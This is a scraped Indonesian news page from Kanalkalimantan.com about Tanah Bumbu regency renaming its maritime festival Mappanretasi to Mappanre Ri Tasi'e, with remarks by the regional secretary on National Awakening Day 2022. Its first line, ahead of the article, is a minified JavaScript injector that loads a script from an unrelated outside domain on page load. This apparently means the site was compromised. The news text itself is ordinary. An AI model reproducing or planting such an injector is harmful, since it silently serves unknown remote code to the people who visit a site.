(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Budaya Maritim Mappanretasi Jadi Mappanre Ri Tasi’e, Begini Penjelasan Sekda Tanbu


KANALKALIMANTAN.COM, BATULICIN – Budaya maritim tahunan Kabupaten Tanah Bumbu (Tanbu) yaitu Mappanretasi (memberi makan laut) diubah nama dan penyebutan menjadi Mappanre Ri Tasi’e (syukuran makan bersama di laut) dengan tujuan menghilangkan unsur-unsur syirik pada budaya masyarakat.

“Tanpa mengurangi rasa hormat kepada adat istiadat yang melekat di masyarakat sejak zaman dahulu hingga turun temurun tersebut, nama event budaya telah disepakati bersama untuk diubah menjadi Mappanre Ri Tasi’e,” jelas Sekretaris Daerah (Sekda) Tanah Bumbu H Ambo Sakka saat memimpin upacara Peringatan Hari Kebangkitan Nasional tahun 2022 di halaman kantor Bupati Tanah Bumbu, Jum’at (20/5/2022) pagi.

“Puncak event budaya maritim Mappanre Ri Tasi’e pada hari Minggu 22 Mei 2022)diharapkan kita bersama ikut serta merayakan hari pesta maritim yang sudah diganti namanya Mappanre Ri Tasi’e,” ujar Sekda.

Disediakan makanan sebanyak 3.000 porsi yang disiapkan oleh 20 SKPD (Satuan Kerja Perangkat Daerah) dimulai pada pukul 07.30 hingga 12.00 Wita.

 

 

Baca juga: Peringati HUT Proklamasi Gubernur Tentara ALRI Divisi IV, Wartono: Brigjen H Hasan Basry Inspirasi Api Perjuangan Di Kalsel

“Pak Bupati selalu mengingatkan dan berpesan bahwa pelaksanaan kegiatan pesta maritim Mappanre Ri Tasi’e itu harus dikemas betul sebagai budaya pariwisata maritim di Tanah Bumbu, dengan menghilangkan seluruh unsur-unsur yang mengarah pada syikrik,” ungkapnya.

Sekda Tanah Bumbu H Ambo Sakka juga menyampaikan sambutan dari Menteri Komunkasi Dan Informatika RI Johnny G Plate terkait Hari Kebangkitan Nasional ke-114 tahun 2022 mengangkat tema ajakan serentak “Ayo Bangkit Bersama” seruan ini sebagai bentuk kebangkitan bersama dari pandemi Covid-19 yang sudah melanda seluruh Indonesia selama dua tahun terakhir.

“Hari Kebangkitan Nasional ini hendaknya tidak hanya kita maknai sebagai seremonial saja. Memahami esensi sejarah Kebangkitan Nasional, mari sejenak kita telaah sisi histori di balik peringatan Hari Kebangkitan Nasional,” katanya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.